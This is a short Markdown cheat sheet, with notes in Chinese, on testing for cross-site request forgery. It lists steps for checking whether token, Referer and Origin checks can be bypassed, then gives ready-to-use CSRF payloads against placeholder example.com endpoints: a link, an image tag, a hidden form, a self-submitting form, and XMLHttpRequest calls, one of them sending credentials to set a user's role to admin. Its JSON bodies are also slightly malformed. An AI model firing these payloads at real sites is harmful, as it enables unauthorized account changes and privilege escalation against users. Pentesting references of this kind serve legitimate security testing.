CSRF.md

查看有无token等验证身份的参数，删掉后是否返回正常
查看header中referer,origin参数，删掉后是否返回正常
使用csrftester/burpsuite生成表单，以另一账号和浏览器打开测试
去掉referer中域名后面的文件夹或文件
替换二级域名

GET需要用户交互

<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>

GET无用户交互

<img src="http://www.example.com/api/setusername?username=CSRFd">

POST需要用户交互

<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>

POST无用户交互

<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>
 
<script>
 document.getElementById("autosubmit").submit();
</script>

JSON GET

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>

JSON POST

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>